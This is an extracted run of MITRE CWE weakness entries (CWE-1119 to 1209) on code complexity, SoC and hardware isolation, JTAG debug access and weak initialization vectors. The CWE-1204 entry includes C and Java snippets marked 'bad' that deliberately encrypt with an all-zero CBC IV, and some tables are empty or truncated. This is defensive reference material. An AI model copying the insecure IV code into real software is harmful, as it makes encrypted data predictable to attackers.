The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1119: Excessive Use of Unconditional Branching

| | |
|---------------------------|---------------------------|
| Weakness ID : 1119 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The code uses too many unconditional branches (such as "goto").

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1120: Excessive Code Complexity

| | |
|----------------------------|---------------------------|
| Weakness ID : 1120 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Class | |

Description

The code is too complex, as calculated using a well-defined, quantitative measure.

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

This issue can make the software perform more slowly. If the relevant code is reachable by an attacker, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1121: Excessive McCabe Cyclomatic Complexity

Weakness ID : 1121

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The code contains McCabe cyclomatic complexity that exceeds a desirable maximum.

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1122: Excessive Halstead Complexity

Weakness ID : 1122

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The code is structured in a way that a Halstead complexity measure exceeds a desirable maximum.

Extended Description

A variety of Halstead complexity measures exist, such as program vocabulary size or volume.

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1123: Excessive Use of Self-Modifying Code

| | |
|---------------------------|----------------------------|
| Weakness ID : 1123 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product uses too much self-modifying code.

Extended Description

This issue makes it more difficult to understand or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1124: Excessively Deep Nesting

Weakness ID : 1124

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The code contains a callable or other code grouping in which the nesting / branching is too deep.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1125: Excessive Attack Surface

| | |
|---------------------------|----------------------------|
| Weakness ID : 1125 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product has an attack surface whose quantitative measurement exceeds a desirable maximum.

Extended Description

Originating from software security, an "attack surface" measure typically reflects the number of input points and output points that can be utilized by an untrusted party, i.e. a potential attacker. A larger attack surface provides more places to attack, and more opportunities for developers to introduce weaknesses. In some cases, this measure may reflect other aspects of quality besides security; e.g., a product with many inputs and outputs may require a large number of tests in order to improve code coverage.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1126: Declaration of Variable with Unnecessarily Wide Scope

| | |
|---------------------------|----------------------------|
| Weakness ID : 1126 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The source code declares a variable in one scope, but the variable is only used within a narrower scope.

Extended Description

This issue makes it more difficult to understand and/or maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1127: Compilation with Insufficient Warnings or Errors

Weakness ID : 1127

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The code is compiled without sufficient warnings enabled, which may prevent the detection of subtle bugs or quality issues.

Extended Description

This issue makes it more difficult to maintain the software, which indirectly affects security by making it more difficult or time-consuming to find and/or fix vulnerabilities. It also might make it easier to introduce vulnerabilities.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. CWE-1164: Irrelevant Code

| | |
|----------------------------|----------------------------|
| Weakness ID : 1164 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Class | |

Description

The program contains code that is not essential for execution, i.e. makes no state changes and has no side effects that alter data or control flow, such that removal of the code would have no impact to functionality or correctness.

Extended Description

Irrelevant code could include dead code, initialization that is not used, empty blocks, code that could be entirely removed due to optimization, etc.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| Other | Reduce Reliability | |
| Other | Reduce Performance | |

CWE-1173: Improper Use of Validation Framework

Weakness ID : 1173

Status: Draft

Structure : Simple

Abstraction : Base

Description

The application does not use, or incorrectly uses, an input validation framework that is provided by the source language or an independent library.

Extended Description

Many modern coding languages provide developers with input validation frameworks to make the task of input validation easier and less error-prone. These frameworks will automatically check all input against specified criteria and direct execution to error handlers when invalid input is received. The improper use (i.e., an incorrect implementation or missing altogether) of these frameworks is not directly exploitable, but can lead to an exploitable condition if proper input validation is not performed later in the application. Not using provided input validation frameworks can also hurt the maintainability of code as future developers may not recognize the downstream input validation being used in the place of the validation framework.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|------|------|--|------|
| ChildOf | | 20 | Improper Input Validation | 19 |
| ParentOf | | 102 | Struts: Duplicate Validation Forms | 230 |
| ParentOf | | 105 | Struts: Form Field Without Validator | 237 |
| ParentOf | | 106 | Struts: Plug-in Framework not in Use | 240 |
| ParentOf | | 108 | Struts: Unvalidated Action Form | 245 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|------|------|------------------------|------|
| MemberOf | | 1215 | Data Validation Issues | 2194 |

Weakness Ordinalities

Indirect :

Applicable Platforms

Language : Language-Independent (Prevalence = Undetermined)

Common Consequences

| Scope | Impact | Likelihood |
|-----------|---|------------|
| Integrity | Unexpected State <i>Unchecked input leads to cross-site scripting, process control, and SQL injection vulnerabilities, among others.</i> | |

Detection Methods

Automated Static Analysis

Some instances of improper input validation can be detected using automated static analysis. A static analysis tool might allow the user to specify which application-specific methods or functions perform input validation; the tool might also have built-in knowledge of validation frameworks such as Struts. The tool may then suppress or de-prioritize any associated warnings. This allows the analyst to focus on areas of the software in which input validation does not appear to be present. Except in the cases described in the previous paragraph, automated static analysis might not be able to recognize when proper input validation is being performed, leading to false positives - i.e., warnings that do not have any security consequences or require any code changes.

Potential Mitigations

Phase: Implementation

Properly use provided input validation frameworks.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1176: Inefficient CPU Computation

Weakness ID : 1176

Status: Incomplete

Structure : Simple

Abstraction : Class

Description

The program performs CPU computations using algorithms that are not as efficient as they could be for the needs of the developer, i.e., the computations can be optimized further.

Extended Description

This issue can make the software perform more slowly, possibly in ways that are noticeable to the users. If an attacker can influence the amount of computation that must be performed, e.g. by triggering worst-case complexity, then this performance problem might introduce a vulnerability.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|---|------|---|------|

CWE-1177: Use of Prohibited Code

| | |
|----------------------------|---------------------------|
| Weakness ID : 1177 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Class | |

Description

The software uses a function, library, or third party component that has been explicitly prohibited, whether by the developer or the customer.

Extended Description

The developer - or customers - may wish to restrict or eliminate use of a function, library, or third party component for any number of reasons, including real or suspected vulnerabilities; difficulty to use securely; export controls or license requirements; obsolete or poorly-maintained code; internal code being scheduled for deprecation; etc.

To reduce risk of vulnerabilities, the developer might maintain a list of "banned" functions that programmers must avoid using because the functions are difficult or impossible to use securely. This issue can also make the software more costly and difficult to maintain.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

CWE-1188: Insecure Default Initialization of Resource

| | |
|---------------------------|---------------------------|
| Weakness ID : 1188 | Status: Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The software initializes or sets a resource with a default that is intended to be changed by the administrator, but the default is not secure.

Extended Description

Developers often choose default values that leave the software as open and easy to use as possible out-of-the-box, under the assumption that the administrator can (or should) change the default value. However, this ease-of-use comes at a cost when the default is insecure and the administrator does not change it.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

CWE-1189: Improper Isolation of Shared Resources on System-on-a-Chip (SoC)

Weakness ID : 1189

Status: Stable

Structure : Simple

Abstraction : Base

Description

The System-On-a-Chip (SoC) does not properly isolate shared resources between trusted and untrusted agents.

Extended Description

A System-On-a-Chip (SoC) has a lot of functionality, but it may have a limited number of pins or pads. A pin can only perform one function at a time. However, it can be configured to perform multiple different functions. This technique is called pin multiplexing. Similarly, several resources on the chip may be shared to multiplex and support different features or functions. When such resources are shared between trusted and untrusted agents, untrusted agents may be able to access the assets intended to be accessed only by the trusted agents.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| Nature | Type | ID | Name | Page |
|--------|--|------|---|------|
| PeerOf |  | 1331 | Improper Isolation of Shared Resources in Network On Chip (NoC) | 1998 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|---|------------|
| Access Control | Bypass Protection Mechanism <i>If resources being used by a trusted user are shared with an untrusted user, the untrusted user may be able to modify the functionality of the shared resource of the trusted user.</i> | |
| Integrity | Quality Degradation <i>The functionality of the shared resource may be intentionally degraded.</i> | |

Detection Methods

Automated Static Analysis - Binary or Bytecode

Kernel integrity verification can help identify when shared resource configuration settings have been modified.

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

When sharing resources, avoid mixing agents of varying trust levels. Untrusted agents should not share resources with trusted agents.

Demonstrative Examples**Example 1:**

Consider the following SoC design. The Hardware Root of Trust (HrOT) local SRAM is memory mapped in the core{0-N} address space. The HrOT allows or disallows access to private memory ranges, thus allowing the sram to function as a mailbox for communication between untrusted and trusted HrOT partitions.

We assume that the threat is from malicious software in the untrusted domain. We assume this software has access to the core{0-N} memory map and can be running at any privilege level on the untrusted cores. The capability of this threat in this example is communication to and from the mailbox region of SRAM modulated by the hrot_iface. To address this threat, information must not enter or exit the shared region of SRAM through hrot_iface when in secure or privileged mode.

Observed Examples

CWE-1190: DMA Device Enabled Too Early in Boot Phase

Weakness ID : 1190

Status: Draft

Structure : Simple**Abstraction** : Base

Description

The product enables a Direct Memory Access (DMA) capable device before the security configuration settings are established, which allows an attacker to extract data from or gain privileges on the product.

Extended Description

DMA is included in a number of devices because it allows data transfer between the computer and the connected device, using direct hardware access to read or write directly to main memory without any OS interaction. An attacker could exploit this to access secrets. Several virtualization-based mitigations have been introduced to thwart DMA attacks. These are usually configured/setup during boot time. However, certain IPs that are powered up before boot is complete (known as early boot IPs) may be DMA capable. Such IPs, if not trusted, could launch DMA attacks and gain access to assets that should otherwise be protected.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

CWE-1191: On-Chip Debug and Test Interface With Improper Access Control

Weakness ID : 1191

Status: Stable

Structure : Simple

Abstraction : Base

Description

The chip does not implement or does not correctly perform access control to check whether users are authorized to access internal registers and test modes through the physical debug/test interface.

Extended Description

A device's internal information may be accessed through a scan chain of interconnected internal registers, usually through a JTAG interface. The JTAG interface provides access to these registers in a serial fashion in the form of a scan chain for the purposes of debugging programs running on a device. Since almost all information contained within a device may be accessed over this interface, device manufacturers typically insert some form of authentication and authorization to prevent unintended use of this sensitive information. This mechanism is implemented in addition to on-chip protections that are already present.

If authorization, authentication, or some other form of access control is not implemented or not implemented correctly, a user may be able to bypass on-chip protection mechanisms through the debug interface.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| PeerOf | Ⓢ | 1299 | Missing Protection Mechanism for Alternate Hardware Interface | 1943 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : Technology-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------------------|------------|
| Confidentiality | Read Application Data | High |
| Confidentiality | Read Memory | High |
| Authorization | Execute Unauthorized Code or Commands | High |
| Integrity | Modify Memory | High |
| Integrity | Modify Application Data | High |
| Access Control | Bypass Protection Mechanism | High |

Detection Methods

Dynamic Analysis with Manual Results Interpretation

Authentication and authorization of debug and test interfaces should be part of the architecture and design review process. Withholding of private register documentation from the debug and test interface public specification ("Security by obscurity") should not be considered as sufficient security.

Dynamic Analysis with Manual Results Interpretation

Dynamic tests should be done in the pre-silicon and post-silicon stages to verify that the debug and test interfaces are not open by default.

Fuzzing

Tests that fuzz Debug and Test Interfaces should ensure that no access without appropriate authentication and authorization is possible.

Effectiveness = Moderate

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

If feasible, the manufacturer should disable the JTAG interface or implement authentication and authorization for the JTAG interface. If authentication logic is added, it should be resistant to timing attacks. Security-sensitive data stored in registers, such as keys, etc. should be cleared when entering debug mode.

Effectiveness = High

Demonstrative Examples

Example 1:

A home, WiFi-router device implements a login prompt which prevents an unauthorized user from issuing any commands on the device until appropriate credentials are provided. The credentials are protected on the device and are checked for strength against attack.

Example Language: Other

(bad)

If the JTAG interface on this device is not hidden by the manufacturer, the interface may be identified using tools such as JTAGulator. If it is hidden but not disabled, it can be exposed by physically wiring to the board.

By issuing a halt command before the OS starts, the unauthorized user pauses the watchdog timer and prevents the router from restarting (once the watchdog timer would have expired). Having paused the router, an unauthorized user is able to execute code and inspect and modify data in the device, even extracting all of the router's firmware. This allows the user to examine the router and potentially exploit it.

JTAG is useful to chip and device manufacturers during design, testing, and production and is included in nearly every product. Without proper authentication and authorization, the interface may allow tampering with a product.

Example Language: Other

(good)

In order to prevent exposing the debugging interface, manufacturers might try to obfuscate the JTAG interface or blow device internal fuses to disable the JTAG interface. Adding authentication and authorization to this interface makes use by unauthorized individuals much more difficult.

Observed Examples

| Reference | Description |
|-----------------------|--|
| CVE-2019-18827 | chain: JTAG interface is not disabled (CWE-1191) during ROM code execution, introducing a race condition (CWE-362) to extract encryption keys https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-18827 |

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name | V | Page |
|----------|------|------|--|------|------|
| MemberOf | C | 1207 | Debug and Test Problems | 1194 | 2190 |
| MemberOf | V | 1343 | Weaknesses in the 2021 CWE Most Important Hardware Weaknesses List | 1343 | 2256 |

Notes

Relationship

CWE-1191 and CWE-1244 both involve physical debug access, but the weaknesses are different. CWE-1191 is effectively about missing authorization for a debug interface, i.e. JTAG. CWE-1244 is about providing internal assets with the wrong debug access level, exposing the asset to untrusted debug agents.

CWE-1192: System-on-Chip (SoC) Using Components without Unique, Immutable Identifiers

Weakness ID : 1192

Status: Draft

Structure : Simple

Abstraction : Base

Description

The System-on-Chip (SoC) does not have unique, immutable identifiers for each of its components.

Extended Description

A System-on-Chip (SoC) comprises several components (IP) with varied trust requirements. It is required that each IP is identified uniquely and should distinguish itself from other entities in the SoC without any ambiguity. The unique secured identity is required for various purposes. Most of the time the identity is used to route a transaction or perform certain actions, including resetting, retrieving a sensitive information, and acting upon or on behalf of something else.

There are several variants of this weakness:

- A "missing" identifier is when the SoC does not define any mechanism to uniquely identify the IP.
- An "insufficient" identifier might provide some defenses - for example, against the most common attacks - but it does not protect against everything that is intended.
- A "misconfigured" mechanism occurs when a mechanism is available but not implemented correctly.
- An "ignored" identifier occurs when the SoC/IP has not applied any policies or does not act upon the identifier securely.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|---------------------------------------|------|
| ChildOf |  | 657 | Violation of Secure Design Principles | 1323 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|----------------|-----------------------------|------------|
| Access Control | Bypass Protection Mechanism | High |

Potential Mitigations

Phase: Architecture and Design

Strategy = Separation of Privilege

Every identity generated in the SoC should be unique and immutable in hardware. The actions that an IP is trusted or not trusted should be clearly defined, implemented, configured, and tested. If the definition is implemented via a policy, then the policy should be immutable or protected with clear authentication and authorization.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1193: Power-On of Untrusted Execution Core Before Enabling Fabric Access Control

| | |
|---------------------------|----------------------|
| Weakness ID : 1193 | Status: Draft |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product enables components that contain untrusted firmware before memory and fabric access controls have been enabled.

Extended Description

After initial reset, System-on-Chip (SoC) fabric access controls and other security features need to be programmed by trusted firmware as part of the boot sequence. If untrusted IPs or peripheral microcontrollers are enabled first, then the untrusted component can master transactions on the hardware bus and target memory or other assets to compromise the SoC boot firmware.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|--------------------------|------|
| ChildOf | C | 696 | Incorrect Behavior Order | 1388 |

Common Consequences

| Scope | Impact | Likelihood |
|----------------|-----------------------------|------------|
| Access Control | Bypass Protection Mechanism | High |

| Scope | Impact | Likelihood |
|-------|--|------------|
| | <i>An untrusted component can master transactions on the HW bus and target memory or other assets to compromise the SoC boot firmware.</i> | |

Potential Mitigations

Phase: Architecture and Design

The boot sequence should enable fabric access controls and memory protections before enabling third-party hardware IPs and peripheral microcontrollers that use untrusted firmware.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-1204: Generation of Weak Initialization Vector (IV)

| | |
|---------------------------|----------------------------|
| Weakness ID : 1204 | Status : Incomplete |
| Structure : Simple | |
| Abstraction : Base | |

Description

The product uses a cryptographic primitive that uses an Initialization Vector (IV), but the product does not generate IVs that are sufficiently unpredictable or unique according to the expected cryptographic requirements for that primitive.

Extended Description

By design, some cryptographic primitives (such as block ciphers) require that IVs must have certain properties for the uniqueness and/or unpredictability of an IV. Primitives may vary in how important these properties are. If these properties are not maintained, e.g. by a bug in the code, then the cryptography may be weakened or broken by attacking the IVs themselves.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|-------------------------------------|------|
| ChildOf | C | 330 | Use of Insufficiently Random Values | 748 |

| Nature | Type | ID | Name | Page |
|----------|---|-----|--|------|
| ParentOf |  | 329 | Generation of Predictable IV with CBC Mode | 745 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Confidentiality | Read Application Data <i>If the IV is not properly initialized, data that is encrypted can be compromised and information about the data can be leaked. See [REF-1179].</i> | |

Potential Mitigations

Phase: Implementation

Different cipher modes have different requirements for their IVs. When choosing and implementing a mode, it is important to understand those requirements in order to keep security guarantees intact. Generally, it is safest to generate a random IV, since it will be both unpredictable and have a very low chance of being non-unique. IVs do not have to be kept secret, so if generating duplicate IVs is a concern, a list of already-used IVs can be kept and checked against. NIST offers recommendations on generation of IVs for modes of which they have approved. These include options for when random IVs are not practical. For CBC, CFB, and OFB, see [REF-1175]; for GCM, see [REF-1178].

Demonstrative Examples

Example 1:

In the following examples, CBC mode is used when encrypting data:

Example Language: C

(bad)

```
EVP_CIPHER_CTX ctx;
char key[EVP_MAX_KEY_LENGTH];
char iv[EVP_MAX_IV_LENGTH];
RAND_bytes(key, b);
memset(iv,0,EVP_MAX_IV_LENGTH);
EVP_EncryptInit(&ctx,EVP_bf_cbc(), key,iv);
```

Example Language: Java

(bad)

```
public class SymmetricCipherTest {
    public static void main() {
        byte[] text ="Secret".getBytes();
        byte[] iv ={
            0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
        };
        KeyGenerator kg = KeyGenerator.getInstance("DES");
        kg.init(56);
        SecretKey key = kg.generateKey();
        Cipher cipher = Cipher.getInstance("DES/CBC/PKCS5Padding");
        IvParameterSpec ips = new IvParameterSpec(iv);
        cipher.init(Cipher.ENCRYPT_MODE, key, ips);
        return cipher.doFinal(inpBytes);
    }
}
```

In both of these examples, the initialization vector (IV) is always a block of zeros. This makes the resulting cipher text much more predictable and susceptible to a dictionary attack.

Example 2:

The Wired Equivalent Privacy (WEP) protocol used in the 802.11 wireless standard only supported 40-bit keys, and the IVs were only 24 bits, increasing the chances that the same IV would be reused for multiple messages. The IV was included in plaintext as part of the packet, making it directly observable to attackers. Only 5000 messages are needed before a collision occurs due to the "birthday paradox" [REF-1176]. Some implementations would reuse the same IV for each packet. This IV reuse made it much easier for attackers to recover plaintext from two packets with the same IV, using well-understood attacks, especially if the plaintext was known for one of the packets [REF-1175].

Observed Examples

| Reference | Description |
|-----------------------|--|
| CVE-2020-1472 | ZeroLogon vulnerability - use of a static IV of all zeroes in AES-CFB8 mode https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-1472 |
| CVE-2011-3389 | BEAST attack in SSL 3.0 / TLS 1.0. In CBC mode, chained initialization vectors are non-random, allowing decryption of HTTPS traffic using a chosen plaintext attack. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-3389 |
| CVE-2001-0161 | wireless router does not use 6 of the 24 bits for WEP encryption, making it easier for attackers to decrypt traffic https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0161 |
| CVE-2001-0160 | WEP card generates predictable IV values, making it easier for attackers to decrypt traffic https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0160 |
| CVE-2017-3225 | device bootloader uses a zero initialization vector during AES-CBC https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3225 |
| CVE-2016-6485 | crypto framework uses PHP rand function - which is not cryptographically secure - for an initialization vector https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-6485 |
| CVE-2014-5386 | encryption routine does not seed the random number generator, causing the same initialization vector to be generated repeatedly https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-5386 |
| CVE-2020-5408 | encryption functionality in an authentication framework uses a fixed null IV with CBC mode, allowing attackers to decrypt traffic in applications that use this functionality https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-5408 |
| CVE-2017-17704 | messages for a door-unlocking product use a fixed IV in CBC mode, which is the same after each restart https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-17704 |
| CVE-2017-11133 | application uses AES in CBC mode, but the pseudo-random secret and IV are generated using math.random, which is not cryptographically strong. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-11133 |
| CVE-2007-3528 | Blowfish-CBC implementation constructs an IV where each byte is calculated modulo 8 instead of modulo 256, resulting in less than 12 bits for the effective IV length, and less than 4096 possible IV values. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3528 |

Functional Areas

- Cryptography

Notes

Maintenance

As of CWE 4.5, terminology related to randomness, entropy, and predictability can vary widely. Within the developer and other communities, "randomness" is used heavily. However, within cryptography, "entropy" is distinct, typically implied as a measurement. There are no commonly-used definitions, even within standards documents and cryptography papers. Future versions of

CWE will attempt to define these terms and, if necessary, distinguish between them in ways that are appropriate for different communities but do not reduce the usability of CWE for mapping, understanding, or other scenarios.

CWE-1209: Failure to Disable Reserved Bits

Weakness ID : 1209

Status: Incomplete

Structure : Simple

Abstraction : Base

Description

The reserved bits in a hardware design are not disabled prior to production. Typically, reserved bits are used for future capabilities and should not support any functional logic in the design. However, designers might covertly use these bits to debug or further develop new capabilities in production hardware. Adversaries with access to these bits will write to them in hopes of compromising hardware state.

Extended Description

Reserved bits are labeled as such so they can be allocated for a later purpose. They are not to do anything in the current design. However, designers might want to use these bits to debug or control/configure a future capability to help minimize time to market (TTM). If the logic being controlled by these bits is still enabled in production, an adversary could use the logic to induce unwanted/unsupported behavior in the hardware.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to

similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|--|------|
| ChildOf | IP | 710 | Improper Adherence to Coding Standards | 1405 |

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Operating_System : OS-Independent (*Prevalence = Undetermined*)

Architecture : Architecture-Independent (*Prevalence = Undetermined*)

Technology : System on Chip (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---|------------|
| Confidentiality | Varies by Context | |
| Integrity | <i>This type of weakness all depends on the capabilities of the logic being controlled or configured by the reserved bits</i> | |
| Availability | | |
| Access Control | | |
| Accountability | | |
| Authentication | | |
| Authorization | | |
| Non-Repudiation | | |

Potential Mitigations

Phase: Architecture and Design

Phase: Implementation

Include a feature to disable reserved bits.

Phase: Integration

